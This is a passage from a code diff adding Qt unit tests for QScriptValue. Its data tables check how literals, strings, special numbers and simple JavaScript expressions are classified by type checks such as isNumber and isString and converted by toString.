+    DEFINE_TEST_VALUE(QScriptValue(0, false));
+    DEFINE_TEST_VALUE(QScriptValue(0, int(122)));
+    DEFINE_TEST_VALUE(QScriptValue(0, uint(124)));
+    DEFINE_TEST_VALUE(QScriptValue(0, 0));
+    DEFINE_TEST_VALUE(QScriptValue(0, 0.0));
+    DEFINE_TEST_VALUE(QScriptValue(0, 123.0));
+    DEFINE_TEST_VALUE(QScriptValue(0, 6.37e-8));
+    DEFINE_TEST_VALUE(QScriptValue(0, -6.37e-8));
+    DEFINE_TEST_VALUE(QScriptValue(0, 0x43211234));
+    DEFINE_TEST_VALUE(QScriptValue(0, 0x10000));
+    DEFINE_TEST_VALUE(QScriptValue(0, 0x10001));
+    DEFINE_TEST_VALUE(QScriptValue(0, qSNaN()));
+    DEFINE_TEST_VALUE(QScriptValue(0, qQNaN()));
+    DEFINE_TEST_VALUE(QScriptValue(0, qInf()));
+    DEFINE_TEST_VALUE(QScriptValue(0, -qInf()));
+    DEFINE_TEST_VALUE(QScriptValue(0, "NaN"));
+    DEFINE_TEST_VALUE(QScriptValue(0, "Infinity"));
+    DEFINE_TEST_VALUE(QScriptValue(0, "-Infinity"));
+    DEFINE_TEST_VALUE(QScriptValue(0, "ciao"));
+    DEFINE_TEST_VALUE(QScriptValue(0, QString::fromLatin1("ciao")));
+    DEFINE_TEST_VALUE(QScriptValue(0, QString("")));
+    DEFINE_TEST_VALUE(QScriptValue(0, QString()));
+    DEFINE_TEST_VALUE(QScriptValue(0, QString("0")));
+    DEFINE_TEST_VALUE(QScriptValue(0, QString("123")));
+    DEFINE_TEST_VALUE(QScriptValue(0, QString("12.3")));
+    DEFINE_TEST_VALUE(QScriptValue(engine, QScriptValue::UndefinedValue));
+    DEFINE_TEST_VALUE(QScriptValue(engine, QScriptValue::NullValue));
+    DEFINE_TEST_VALUE(QScriptValue(engine, true));
+    DEFINE_TEST_VALUE(QScriptValue(engine, false));
+    DEFINE_TEST_VALUE(QScriptValue(engine, int(122)));
+    DEFINE_TEST_VALUE(QScriptValue(engine, uint(124)));
+    DEFINE_TEST_VALUE(QScriptValue(engine, 0));
+    DEFINE_TEST_VALUE(QScriptValue(engine, 0.0));
+    DEFINE_TEST_VALUE(QScriptValue(engine, 123.0));
+    DEFINE_TEST_VALUE(QScriptValue(engine, 6.37e-8));
+    DEFINE_TEST_VALUE(QScriptValue(engine, -6.37e-8));
+    DEFINE_TEST_VALUE(QScriptValue(engine, 0x43211234));
+    DEFINE_TEST_VALUE(QScriptValue(engine, 0x10000));
+    DEFINE_TEST_VALUE(QScriptValue(engine, 0x10001));
+    DEFINE_TEST_VALUE(QScriptValue(engine, qSNaN()));
+    DEFINE_TEST_VALUE(QScriptValue(engine, qQNaN()));
+    DEFINE_TEST_VALUE(QScriptValue(engine, qInf()));
+    DEFINE_TEST_VALUE(QScriptValue(engine, -qInf()));
+    DEFINE_TEST_VALUE(QScriptValue(engine, "NaN"));
+    DEFINE_TEST_VALUE(QScriptValue(engine, "Infinity"));
+    DEFINE_TEST_VALUE(QScriptValue(engine, "-Infinity"));
+    DEFINE_TEST_VALUE(QScriptValue(engine, "ciao"));
+    DEFINE_TEST_VALUE(QScriptValue(engine, QString::fromLatin1("ciao")));
+    DEFINE_TEST_VALUE(QScriptValue(engine, QString("")));
+    DEFINE_TEST_VALUE(QScriptValue(engine, QString()));
+    DEFINE_TEST_VALUE(QScriptValue(engine, QString("0")));
+    DEFINE_TEST_VALUE(QScriptValue(engine, QString("123")));
+    DEFINE_TEST_VALUE(QScriptValue(engine, QString("1.23")));
+    DEFINE_TEST_VALUE(engine->evaluate("[]"));
+    DEFINE_TEST_VALUE(engine->evaluate("{}"));
+    DEFINE_TEST_VALUE(engine->evaluate("Object.prototype"));
+    DEFINE_TEST_VALUE(engine->evaluate("Date.prototype"));
+    DEFINE_TEST_VALUE(engine->evaluate("Array.prototype"));
+    DEFINE_TEST_VALUE(engine->evaluate("Function.prototype"));
+    DEFINE_TEST_VALUE(engine->evaluate("Error.prototype"));
+    DEFINE_TEST_VALUE(engine->evaluate("Object"));
+    DEFINE_TEST_VALUE(engine->evaluate("Array"));
+    DEFINE_TEST_VALUE(engine->evaluate("Number"));
+    DEFINE_TEST_VALUE(engine->evaluate("Function"));
+    DEFINE_TEST_VALUE(engine->evaluate("(function() { return 1; })"));
+    DEFINE_TEST_VALUE(engine->evaluate("(function() { return 'ciao'; })"));
+    DEFINE_TEST_VALUE(engine->evaluate("(function() { throw new Error('foo'); })"));
+    DEFINE_TEST_VALUE(engine->evaluate("/foo/"));
+    DEFINE_TEST_VALUE(engine->evaluate("new Object()"));
+    DEFINE_TEST_VALUE(engine->evaluate("new Array()"));
+    DEFINE_TEST_VALUE(engine->evaluate("new Error()"));
+    DEFINE_TEST_VALUE(engine->evaluate("a = new Object(); a.foo = 22; a.foo"));
+    DEFINE_TEST_VALUE(engine->evaluate("Undefined"));
+    DEFINE_TEST_VALUE(engine->evaluate("Null"));
+    DEFINE_TEST_VALUE(engine->evaluate("True"));
+    DEFINE_TEST_VALUE(engine->evaluate("False"));
+    DEFINE_TEST_VALUE(engine->evaluate("undefined"));
+    DEFINE_TEST_VALUE(engine->evaluate("null"));
+    DEFINE_TEST_VALUE(engine->evaluate("true"));
+    DEFINE_TEST_VALUE(engine->evaluate("false"));
+    DEFINE_TEST_VALUE(engine->evaluate("122"));
+    DEFINE_TEST_VALUE(engine->evaluate("124"));
+    DEFINE_TEST_VALUE(engine->evaluate("0"));
+    DEFINE_TEST_VALUE(engine->evaluate("0.0"));
+    DEFINE_TEST_VALUE(engine->evaluate("123.0"));
+    DEFINE_TEST_VALUE(engine->evaluate("6.37e-8"));
+    DEFINE_TEST_VALUE(engine->evaluate("-6.37e-8"));
+    DEFINE_TEST_VALUE(engine->evaluate("0x43211234"));
+    DEFINE_TEST_VALUE(engine->evaluate("0x10000"));
+    DEFINE_TEST_VALUE(engine->evaluate("0x10001"));
+    DEFINE_TEST_VALUE(engine->evaluate("NaN"));
+    DEFINE_TEST_VALUE(engine->evaluate("Infinity"));
+    DEFINE_TEST_VALUE(engine->evaluate("-Infinity"));
+    DEFINE_TEST_VALUE(engine->evaluate("'ciao'"));
+    DEFINE_TEST_VALUE(engine->evaluate("''"));
+    DEFINE_TEST_VALUE(engine->evaluate("'0'"));
+    DEFINE_TEST_VALUE(engine->evaluate("'123'"));
+    DEFINE_TEST_VALUE(engine->evaluate("'12.4'"));
+    DEFINE_TEST_VALUE(engine->nullValue());
+    DEFINE_TEST_VALUE(engine->undefinedValue());
+}
+
+
+void tst_QScriptValue::isValid_initData()
+{
+    QTest::addColumn<bool>("expected");
+    initScriptValues();
+}
+
+void tst_QScriptValue::isValid_makeData(const char* expr)
+{
+    static QSet<QString> isValid;
+    if (isValid.isEmpty()) {
+        isValid << "QScriptValue(QScriptValue::UndefinedValue)"
+                << "QScriptValue(QScriptValue::NullValue)"
+                << "QScriptValue(true)"
+                << "QScriptValue(false)"
+                << "QScriptValue(int(122))"
+                << "QScriptValue(uint(124))"
+                << "QScriptValue(0)"
+                << "QScriptValue(0.0)"
+                << "QScriptValue(123.0)"
+                << "QScriptValue(6.37e-8)"
+                << "QScriptValue(-6.37e-8)"
+                << "QScriptValue(0x43211234)"
+                << "QScriptValue(0x10000)"
+                << "QScriptValue(0x10001)"
+                << "QScriptValue(qSNaN())"
+                << "QScriptValue(qQNaN())"
+                << "QScriptValue(qInf())"
+                << "QScriptValue(-qInf())"
+                << "QScriptValue(\"NaN\")"
+                << "QScriptValue(\"Infinity\")"
+                << "QScriptValue(\"-Infinity\")"
+                << "QScriptValue(\"ciao\")"
+                << "QScriptValue(QString::fromLatin1(\"ciao\"))"
+                << "QScriptValue(QString(\"\"))"
+                << "QScriptValue(QString())"
+                << "QScriptValue(QString(\"0\"))"
+                << "QScriptValue(QString(\"123\"))"
+                << "QScriptValue(QString(\"12.4\"))"
+                << "QScriptValue(0, QScriptValue::UndefinedValue)"
+                << "QScriptValue(0, QScriptValue::NullValue)"
+                << "QScriptValue(0, true)"
+                << "QScriptValue(0, false)"
+                << "QScriptValue(0, int(122))"
+                << "QScriptValue(0, uint(124))"
+                << "QScriptValue(0, 0)"
+                << "QScriptValue(0, 0.0)"
+                << "QScriptValue(0, 123.0)"
+                << "QScriptValue(0, 6.37e-8)"
+                << "QScriptValue(0, -6.37e-8)"
+                << "QScriptValue(0, 0x43211234)"
+                << "QScriptValue(0, 0x10000)"
+                << "QScriptValue(0, 0x10001)"
+                << "QScriptValue(0, qSNaN())"
+                << "QScriptValue(0, qQNaN())"
+                << "QScriptValue(0, qInf())"
+                << "QScriptValue(0, -qInf())"
+                << "QScriptValue(0, \"NaN\")"
+                << "QScriptValue(0, \"Infinity\")"
+                << "QScriptValue(0, \"-Infinity\")"
+                << "QScriptValue(0, \"ciao\")"
+                << "QScriptValue(0, QString::fromLatin1(\"ciao\"))"
+                << "QScriptValue(0, QString(\"\"))"
+                << "QScriptValue(0, QString())"
+                << "QScriptValue(0, QString(\"0\"))"
+                << "QScriptValue(0, QString(\"123\"))"
+                << "QScriptValue(0, QString(\"12.3\"))"
+                << "QScriptValue(engine, QScriptValue::UndefinedValue)"
+                << "QScriptValue(engine, QScriptValue::NullValue)"
+                << "QScriptValue(engine, true)"
+                << "QScriptValue(engine, false)"
+                << "QScriptValue(engine, int(122))"
+                << "QScriptValue(engine, uint(124))"
+                << "QScriptValue(engine, 0)"
+                << "QScriptValue(engine, 0.0)"
+                << "QScriptValue(engine, 123.0)"
+                << "QScriptValue(engine, 6.37e-8)"
+                << "QScriptValue(engine, -6.37e-8)"
+                << "QScriptValue(engine, 0x43211234)"
+                << "QScriptValue(engine, 0x10000)"
+                << "QScriptValue(engine, 0x10001)"
+                << "QScriptValue(engine, qSNaN())"
+                << "QScriptValue(engine, qQNaN())"
+                << "QScriptValue(engine, qInf())"
+                << "QScriptValue(engine, -qInf())"
+                << "QScriptValue(engine, \"NaN\")"
+                << "QScriptValue(engine, \"Infinity\")"
+                << "QScriptValue(engine, \"-Infinity\")"
+                << "QScriptValue(engine, \"ciao\")"
+                << "QScriptValue(engine, QString::fromLatin1(\"ciao\"))"
+                << "QScriptValue(engine, QString(\"\"))"
+                << "QScriptValue(engine, QString())"
+                << "QScriptValue(engine, QString(\"0\"))"
+                << "QScriptValue(engine, QString(\"123\"))"
+                << "QScriptValue(engine, QString(\"1.23\"))"
+                << "engine->evaluate(\"[]\")"
+                << "engine->evaluate(\"{}\")"
+                << "engine->evaluate(\"Object.prototype\")"
+                << "engine->evaluate(\"Date.prototype\")"
+                << "engine->evaluate(\"Array.prototype\")"
+                << "engine->evaluate(\"Function.prototype\")"
+                << "engine->evaluate(\"Error.prototype\")"
+                << "engine->evaluate(\"Object\")"
+                << "engine->evaluate(\"Array\")"
+                << "engine->evaluate(\"Number\")"
+                << "engine->evaluate(\"Function\")"
+                << "engine->evaluate(\"(function() { return 1; })\")"
+                << "engine->evaluate(\"(function() { return 'ciao'; })\")"
+                << "engine->evaluate(\"(function() { throw new Error('foo'); })\")"
+                << "engine->evaluate(\"/foo/\")"
+                << "engine->evaluate(\"new Object()\")"
+                << "engine->evaluate(\"new Array()\")"
+                << "engine->evaluate(\"new Error()\")"
+                << "engine->evaluate(\"a = new Object(); a.foo = 22; a.foo\")"
+                << "engine->evaluate(\"Undefined\")"
+                << "engine->evaluate(\"Null\")"
+                << "engine->evaluate(\"True\")"
+                << "engine->evaluate(\"False\")"
+                << "engine->evaluate(\"undefined\")"
+                << "engine->evaluate(\"null\")"
+                << "engine->evaluate(\"true\")"
+                << "engine->evaluate(\"false\")"
+                << "engine->evaluate(\"122\")"
+                << "engine->evaluate(\"124\")"
+                << "engine->evaluate(\"0\")"
+                << "engine->evaluate(\"0.0\")"
+                << "engine->evaluate(\"123.0\")"
+                << "engine->evaluate(\"6.37e-8\")"
+                << "engine->evaluate(\"-6.37e-8\")"
+                << "engine->evaluate(\"0x43211234\")"
+                << "engine->evaluate(\"0x10000\")"
+                << "engine->evaluate(\"0x10001\")"
+                << "engine->evaluate(\"NaN\")"
+                << "engine->evaluate(\"Infinity\")"
+                << "engine->evaluate(\"-Infinity\")"
+                << "engine->evaluate(\"'ciao'\")"
+                << "engine->evaluate(\"''\")"
+                << "engine->evaluate(\"'0'\")"
+                << "engine->evaluate(\"'123'\")"
+                << "engine->evaluate(\"'12.4'\")"
+                << "engine->nullValue()"
+                << "engine->undefinedValue()";
+    }
+    newRow(expr) << isValid.contains(expr);
+}
+
+void tst_QScriptValue::isValid_test(const char*, const QScriptValue& value)
+{
+    QFETCH(bool, expected);
+    QCOMPARE(value.isValid(), expected);
+    QCOMPARE(value.isValid(), expected);
+}
+
+DEFINE_TEST_FUNCTION(isValid)
+
+
+void tst_QScriptValue::isBool_initData()
+{
+    QTest::addColumn<bool>("expected");
+    initScriptValues();
+}
+
+void tst_QScriptValue::isBool_makeData(const char* expr)
+{
+    static QSet<QString> isBool;
+    if (isBool.isEmpty()) {
+        isBool << "QScriptValue(true)"
+                << "QScriptValue(false)"
+                << "QScriptValue(0, true)"
+                << "QScriptValue(0, false)"
+                << "QScriptValue(engine, true)"
+                << "QScriptValue(engine, false)"
+                << "engine->evaluate(\"true\")"
+                << "engine->evaluate(\"false\")";
+    }
+    newRow(expr) << isBool.contains(expr);
+}
+
+void tst_QScriptValue::isBool_test(const char*, const QScriptValue& value)
+{
+    QFETCH(bool, expected);
+    QCOMPARE(value.isBool(), expected);
+    QCOMPARE(value.isBool(), expected);
+}
+
+DEFINE_TEST_FUNCTION(isBool)
+
+
+void tst_QScriptValue::isBoolean_initData()
+{
+    QTest::addColumn<bool>("expected");
+    initScriptValues();
+}
+
+void tst_QScriptValue::isBoolean_makeData(const char* expr)
+{
+    static QSet<QString> isBoolean;
+    if (isBoolean.isEmpty()) {
+        isBoolean << "QScriptValue(true)"
+                << "QScriptValue(false)"
+                << "QScriptValue(0, true)"
+                << "QScriptValue(0, false)"
+                << "QScriptValue(engine, true)"
+                << "QScriptValue(engine, false)"
+                << "engine->evaluate(\"true\")"
+                << "engine->evaluate(\"false\")";
+    }
+    newRow(expr) << isBoolean.contains(expr);
+}
+
+void tst_QScriptValue::isBoolean_test(const char*, const QScriptValue& value)
+{
+    QFETCH(bool, expected);
+    QCOMPARE(value.isBoolean(), expected);
+    QCOMPARE(value.isBoolean(), expected);
+}
+
+DEFINE_TEST_FUNCTION(isBoolean)
+
+
+void tst_QScriptValue::isNumber_initData()
+{
+    QTest::addColumn<bool>("expected");
+    initScriptValues();
+}
+
+void tst_QScriptValue::isNumber_makeData(const char* expr)
+{
+    static QSet<QString> isNumber;
+    if (isNumber.isEmpty()) {
+        isNumber << "QScriptValue(int(122))"
+                << "QScriptValue(uint(124))"
+                << "QScriptValue(0)"
+                << "QScriptValue(0.0)"
+                << "QScriptValue(123.0)"
+                << "QScriptValue(6.37e-8)"
+                << "QScriptValue(-6.37e-8)"
+                << "QScriptValue(0x43211234)"
+                << "QScriptValue(0x10000)"
+                << "QScriptValue(0x10001)"
+                << "QScriptValue(qSNaN())"
+                << "QScriptValue(qQNaN())"
+                << "QScriptValue(qInf())"
+                << "QScriptValue(-qInf())"
+                << "QScriptValue(0, int(122))"
+                << "QScriptValue(0, uint(124))"
+                << "QScriptValue(0, 0)"
+                << "QScriptValue(0, 0.0)"
+                << "QScriptValue(0, 123.0)"
+                << "QScriptValue(0, 6.37e-8)"
+                << "QScriptValue(0, -6.37e-8)"
+                << "QScriptValue(0, 0x43211234)"
+                << "QScriptValue(0, 0x10000)"
+                << "QScriptValue(0, 0x10001)"
+                << "QScriptValue(0, qSNaN())"
+                << "QScriptValue(0, qQNaN())"
+                << "QScriptValue(0, qInf())"
+                << "QScriptValue(0, -qInf())"
+                << "QScriptValue(engine, int(122))"
+                << "QScriptValue(engine, uint(124))"
+                << "QScriptValue(engine, 0)"
+                << "QScriptValue(engine, 0.0)"
+                << "QScriptValue(engine, 123.0)"
+                << "QScriptValue(engine, 6.37e-8)"
+                << "QScriptValue(engine, -6.37e-8)"
+                << "QScriptValue(engine, 0x43211234)"
+                << "QScriptValue(engine, 0x10000)"
+                << "QScriptValue(engine, 0x10001)"
+                << "QScriptValue(engine, qSNaN())"
+                << "QScriptValue(engine, qQNaN())"
+                << "QScriptValue(engine, qInf())"
+                << "QScriptValue(engine, -qInf())"
+                << "engine->evaluate(\"a = new Object(); a.foo = 22; a.foo\")"
+                << "engine->evaluate(\"122\")"
+                << "engine->evaluate(\"124\")"
+                << "engine->evaluate(\"0\")"
+                << "engine->evaluate(\"0.0\")"
+                << "engine->evaluate(\"123.0\")"
+                << "engine->evaluate(\"6.37e-8\")"
+                << "engine->evaluate(\"-6.37e-8\")"
+                << "engine->evaluate(\"0x43211234\")"
+                << "engine->evaluate(\"0x10000\")"
+                << "engine->evaluate(\"0x10001\")"
+                << "engine->evaluate(\"NaN\")"
+                << "engine->evaluate(\"Infinity\")"
+                << "engine->evaluate(\"-Infinity\")";
+    }
+    newRow(expr) << isNumber.contains(expr);
+}
+
+void tst_QScriptValue::isNumber_test(const char*, const QScriptValue& value)
+{
+    QFETCH(bool, expected);
+    QCOMPARE(value.isNumber(), expected);
+    QCOMPARE(value.isNumber(), expected);
+}
+
+DEFINE_TEST_FUNCTION(isNumber)
+
+
+void tst_QScriptValue::isFunction_initData()
+{
+    QTest::addColumn<bool>("expected");
+    initScriptValues();
+}
+
+void tst_QScriptValue::isFunction_makeData(const char* expr)
+{
+    static QSet<QString> isFunction;
+    if (isFunction.isEmpty()) {
+        isFunction << "engine->evaluate(\"Function.prototype\")"
+                << "engine->evaluate(\"Object\")"
+                << "engine->evaluate(\"Array\")"
+                << "engine->evaluate(\"Number\")"
+                << "engine->evaluate(\"Function\")"
+                << "engine->evaluate(\"(function() { return 1; })\")"
+                << "engine->evaluate(\"(function() { return 'ciao'; })\")"
+                << "engine->evaluate(\"(function() { throw new Error('foo'); })\")"
+                << "engine->evaluate(\"/foo/\")";
+    }
+    newRow(expr) << isFunction.contains(expr);
+}
+
+void tst_QScriptValue::isFunction_test(const char*, const QScriptValue& value)
+{
+    QFETCH(bool, expected);
+    QCOMPARE(value.isFunction(), expected);
+    QCOMPARE(value.isFunction(), expected);
+}
+
+DEFINE_TEST_FUNCTION(isFunction)
+
+
+void tst_QScriptValue::isNull_initData()
+{
+    QTest::addColumn<bool>("expected");
+    initScriptValues();
+}
+
+void tst_QScriptValue::isNull_makeData(const char* expr)
+{
+    static QSet<QString> isNull;
+    if (isNull.isEmpty()) {
+        isNull << "QScriptValue(QScriptValue::NullValue)"
+                << "QScriptValue(0, QScriptValue::NullValue)"
+                << "QScriptValue(engine, QScriptValue::NullValue)"
+                << "engine->evaluate(\"null\")"
+                << "engine->nullValue()";
+    }
+    newRow(expr) << isNull.contains(expr);
+}
+
+void tst_QScriptValue::isNull_test(const char*, const QScriptValue& value)
+{
+    QFETCH(bool, expected);
+    QCOMPARE(value.isNull(), expected);
+    QCOMPARE(value.isNull(), expected);
+}
+
+DEFINE_TEST_FUNCTION(isNull)
+
+
+void tst_QScriptValue::isString_initData()
+{
+    QTest::addColumn<bool>("expected");
+    initScriptValues();
+}
+
+void tst_QScriptValue::isString_makeData(const char* expr)
+{
+    static QSet<QString> isString;
+    if (isString.isEmpty()) {
+        isString << "QScriptValue(\"NaN\")"
+                << "QScriptValue(\"Infinity\")"
+                << "QScriptValue(\"-Infinity\")"
+                << "QScriptValue(\"ciao\")"
+                << "QScriptValue(QString::fromLatin1(\"ciao\"))"
+                << "QScriptValue(QString(\"\"))"
+                << "QScriptValue(QString())"
+                << "QScriptValue(QString(\"0\"))"
+                << "QScriptValue(QString(\"123\"))"
+                << "QScriptValue(QString(\"12.4\"))"
+                << "QScriptValue(0, \"NaN\")"
+                << "QScriptValue(0, \"Infinity\")"
+                << "QScriptValue(0, \"-Infinity\")"
+                << "QScriptValue(0, \"ciao\")"
+                << "QScriptValue(0, QString::fromLatin1(\"ciao\"))"
+                << "QScriptValue(0, QString(\"\"))"
+                << "QScriptValue(0, QString())"
+                << "QScriptValue(0, QString(\"0\"))"
+                << "QScriptValue(0, QString(\"123\"))"
+                << "QScriptValue(0, QString(\"12.3\"))"
+                << "QScriptValue(engine, \"NaN\")"
+                << "QScriptValue(engine, \"Infinity\")"
+                << "QScriptValue(engine, \"-Infinity\")"
+                << "QScriptValue(engine, \"ciao\")"
+                << "QScriptValue(engine, QString::fromLatin1(\"ciao\"))"
+                << "QScriptValue(engine, QString(\"\"))"
+                << "QScriptValue(engine, QString())"
+                << "QScriptValue(engine, QString(\"0\"))"
+                << "QScriptValue(engine, QString(\"123\"))"
+                << "QScriptValue(engine, QString(\"1.23\"))"
+                << "engine->evaluate(\"'ciao'\")"
+                << "engine->evaluate(\"''\")"
+                << "engine->evaluate(\"'0'\")"
+                << "engine->evaluate(\"'123'\")"
+                << "engine->evaluate(\"'12.4'\")";
+    }
+    newRow(expr) << isString.contains(expr);
+}
+
+void tst_QScriptValue::isString_test(const char*, const QScriptValue& value)
+{
+    QFETCH(bool, expected);
+    QCOMPARE(value.isString(), expected);
+    QCOMPARE(value.isString(), expected);
+}
+
+DEFINE_TEST_FUNCTION(isString)
+
+
+void tst_QScriptValue::isUndefined_initData()
+{
+    QTest::addColumn<bool>("expected");
+    initScriptValues();
+}
+
+void tst_QScriptValue::isUndefined_makeData(const char* expr)
+{
+    static QSet<QString> isUndefined;
+    if (isUndefined.isEmpty()) {
+        isUndefined << "QScriptValue(QScriptValue::UndefinedValue)"
+                << "QScriptValue(0, QScriptValue::UndefinedValue)"
+                << "QScriptValue(engine, QScriptValue::UndefinedValue)"
+                << "engine->evaluate(\"{}\")"
+                << "engine->evaluate(\"undefined\")"
+                << "engine->undefinedValue()";
+    }
+    newRow(expr) << isUndefined.contains(expr);
+}
+
+void tst_QScriptValue::isUndefined_test(const char*, const QScriptValue& value)
+{
+    QFETCH(bool, expected);
+    QCOMPARE(value.isUndefined(), expected);
+    QCOMPARE(value.isUndefined(), expected);
+}
+
+DEFINE_TEST_FUNCTION(isUndefined)
+
+
+
+
+
+void tst_QScriptValue::isObject_initData()
+{
+    QTest::addColumn<bool>("expected");
+    initScriptValues();
+}
+
+void tst_QScriptValue::isObject_makeData(const char* expr)
+{
+    static QSet<QString> isObject;
+    if (isObject.isEmpty()) {
+        isObject << "engine->evaluate(\"[]\")"
+                << "engine->evaluate(\"Object.prototype\")"
+                << "engine->evaluate(\"Date.prototype\")"
+                << "engine->evaluate(\"Array.prototype\")"
+                << "engine->evaluate(\"Function.prototype\")"
+                << "engine->evaluate(\"Error.prototype\")"
+                << "engine->evaluate(\"Object\")"
+                << "engine->evaluate(\"Array\")"
+                << "engine->evaluate(\"Number\")"
+                << "engine->evaluate(\"Function\")"
+                << "engine->evaluate(\"(function() { return 1; })\")"
+                << "engine->evaluate(\"(function() { return 'ciao'; })\")"
+                << "engine->evaluate(\"(function() { throw new Error('foo'); })\")"
+                << "engine->evaluate(\"/foo/\")"
+                << "engine->evaluate(\"new Object()\")"
+                << "engine->evaluate(\"new Array()\")"
+                << "engine->evaluate(\"new Error()\")"
+                << "engine->evaluate(\"Undefined\")"
+                << "engine->evaluate(\"Null\")"
+                << "engine->evaluate(\"True\")"
+                << "engine->evaluate(\"False\")";
+    }
+    newRow(expr) << isObject.contains(expr);
+}
+
+void tst_QScriptValue::isObject_test(const char*, const QScriptValue& value)
+{
+    QFETCH(bool, expected);
+    QCOMPARE(value.isObject(), expected);
+    QCOMPARE(value.isObject(), expected);
+}
+
+DEFINE_TEST_FUNCTION(isObject)
+
+
+void tst_QScriptValue::toString_initData()
+{
+    QTest::addColumn<QString>("expected");
+    initScriptValues();
+}
+
+void tst_QScriptValue::toString_makeData(const char* expr)
+{
+    static QHash<QString, QString> toString;
+    if (toString.isEmpty()) {
+        toString.insert("QScriptValue()", "");
+        toString.insert("QScriptValue(QScriptValue::UndefinedValue)", "undefined");
+        toString.insert("QScriptValue(QScriptValue::NullValue)", "null");
+        toString.insert("QScriptValue(true)", "true");
+        toString.insert("QScriptValue(false)", "false");
+        toString.insert("QScriptValue(int(122))", "122");
+        toString.insert("QScriptValue(uint(124))", "124");
+        toString.insert("QScriptValue(0)", "0");
+        toString.insert("QScriptValue(0.0)", "0");
+        toString.insert("QScriptValue(123.0)", "123");
+        toString.insert("QScriptValue(6.37e-8)", "6.37e-8");
+        toString.insert("QScriptValue(-6.37e-8)", "-6.37e-8");
+        toString.insert("QScriptValue(0x43211234)", "1126240820");
+        toString.insert("QScriptValue(0x10000)", "65536");
+        toString.insert("QScriptValue(0x10001)", "65537");
+        toString.insert("QScriptValue(qSNaN())", "NaN");
+        toString.insert("QScriptValue(qQNaN())", "NaN");
+        toString.insert("QScriptValue(qInf())", "Infinity");
+        toString.insert("QScriptValue(-qInf())", "-Infinity");
+        toString.insert("QScriptValue(\"NaN\")", "NaN");
+        toString.insert("QScriptValue(\"Infinity\")", "Infinity");
+        toString.insert("QScriptValue(\"-Infinity\")", "-Infinity");
+        toString.insert("QScriptValue(\"ciao\")", "ciao");
+        toString.insert("QScriptValue(QString::fromLatin1(\"ciao\"))", "ciao");
+        toString.insert("QScriptValue(QString(\"\"))", "");
+        toString.insert("QScriptValue(QString())", "");
+        toString.insert("QScriptValue(QString(\"0\"))", "0");
+        toString.insert("QScriptValue(QString(\"123\"))", "123");
+        toString.insert("QScriptValue(QString(\"12.4\"))", "12.4");
+        toString.insert("QScriptValue(0, QScriptValue::UndefinedValue)", "undefined");
+        toString.insert("QScriptValue(0, QScriptValue::NullValue)", "null");
+        toString.insert("QScriptValue(0, true)", "true");
+        toString.insert("QScriptValue(0, false)", "false");
+        toString.insert("QScriptValue(0, int(122))", "122");
+        toString.insert("QScriptValue(0, uint(124))", "124");
+        toString.insert("QScriptValue(0, 0)", "0");
+        toString.insert("QScriptValue(0, 0.0)", "0");
+        toString.insert("QScriptValue(0, 123.0)", "123");
+        toString.insert("QScriptValue(0, 6.37e-8)", "6.37e-8");
+        toString.insert("QScriptValue(0, -6.37e-8)", "-6.37e-8");
+        toString.insert("QScriptValue(0, 0x43211234)", "1126240820");
+        toString.insert("QScriptValue(0, 0x10000)", "65536");
+        toString.insert("QScriptValue(0, 0x10001)", "65537");
+        toString.insert("QScriptValue(0, qSNaN())", "NaN");
+        toString.insert("QScriptValue(0, qQNaN())", "NaN");
+        toString.insert("QScriptValue(0, qInf())", "Infinity");
+        toString.insert("QScriptValue(0, -qInf())", "-Infinity");
+        toString.insert("QScriptValue(0, \"NaN\")", "NaN");
+        toString.insert("QScriptValue(0, \"Infinity\")", "Infinity");
+        toString.insert("QScriptValue(0, \"-Infinity\")", "-Infinity");
+        toString.insert("QScriptValue(0, \"ciao\")", "ciao");
+        toString.insert("QScriptValue(0, QString::fromLatin1(\"ciao\"))", "ciao");
+        toString.insert("QScriptValue(0, QString(\"\"))", "");
+        toString.insert("QScriptValue(0, QString())", "");
+        toString.insert("QScriptValue(0, QString(\"0\"))", "0");
+        toString.insert("QScriptValue(0, QString(\"123\"))", "123");
+        toString.insert("QScriptValue(0, QString(\"12.3\"))", "12.3");
+        toString.insert("QScriptValue(engine, QScriptValue::UndefinedValue)", "undefined");
+        toString.insert("QScriptValue(engine, QScriptValue::NullValue)", "null");
+        toString.insert("QScriptValue(engine, true)", "true");
+        toString.insert("QScriptValue(engine, false)", "false");
+        toString.insert("QScriptValue(engine, int(122))", "122");
+        toString.insert("QScriptValue(engine, uint(124))", "124");
+        toString.insert("QScriptValue(engine, 0)", "0");
+        toString.insert("QScriptValue(engine, 0.0)", "0");
+        toString.insert("QScriptValue(engine, 123.0)", "123");
+        toString.insert("QScriptValue(engine, 6.37e-8)", "6.37e-8");
+        toString.insert("QScriptValue(engine, -6.37e-8)", "-6.37e-8");
+        toString.insert("QScriptValue(engine, 0x43211234)", "1126240820");
+        toString.insert("QScriptValue(engine, 0x10000)", "65536");
+        toString.insert("QScriptValue(engine, 0x10001)", "65537");
+        toString.insert("QScriptValue(engine, qSNaN())", "NaN");
+        toString.insert("QScriptValue(engine, qQNaN())", "NaN");
+        toString.insert("QScriptValue(engine, qInf())", "Infinity");
+        toString.insert("QScriptValue(engine, -qInf())", "-Infinity");
+        toString.insert("QScriptValue(engine, \"NaN\")", "NaN");
+        toString.insert("QScriptValue(engine, \"Infinity\")", "Infinity");
+        toString.insert("QScriptValue(engine, \"-Infinity\")", "-Infinity");
+        toString.insert("QScriptValue(engine, \"ciao\")", "ciao");
+        toString.insert("QScriptValue(engine, QString::fromLatin1(\"ciao\"))", "ciao");
+        toString.insert("QScriptValue(engine, QString(\"\"))", "");
+        toString.insert("QScriptValue(engine, QString())", "");
+        toString.insert("QScriptValue(engine, QString(\"0\"))", "0");
+        toString.insert("QScriptValue(engine, QString(\"123\"))", "123");
+        toString.insert("QScriptValue(engine, QString(\"1.23\"))", "1.23");
+        toString.insert("engine->evaluate(\"[]\")", "");
+        toString.insert("engine->evaluate(\"{}\")", "undefined");
+        toString.insert("engine->evaluate(\"Object.prototype\")", "[object Object]");
+        toString.insert("engine->evaluate(\"Date.prototype\")", "Invalid Date");
+        toString.insert("engine->evaluate(\"Array.prototype\")", "");
+        toString.insert("engine->evaluate(\"Function.prototype\")", "function () {\n    [native code]\n}");
+        toString.insert("engine->evaluate(\"Error.prototype\")", "Error: Unknown error");
+        toString.insert("engine->evaluate(\"Object\")", "function Object() {\n    [native code]\n}");
+        toString.insert("engine->evaluate(\"Array\")", "function Array() {\n    [native code]\n}");
+        toString.insert("engine->evaluate(\"Number\")", "function Number() {\n    [native code]\n}");
+        toString.insert("engine->evaluate(\"Function\")", "function Function() {\n    [native code]\n}");
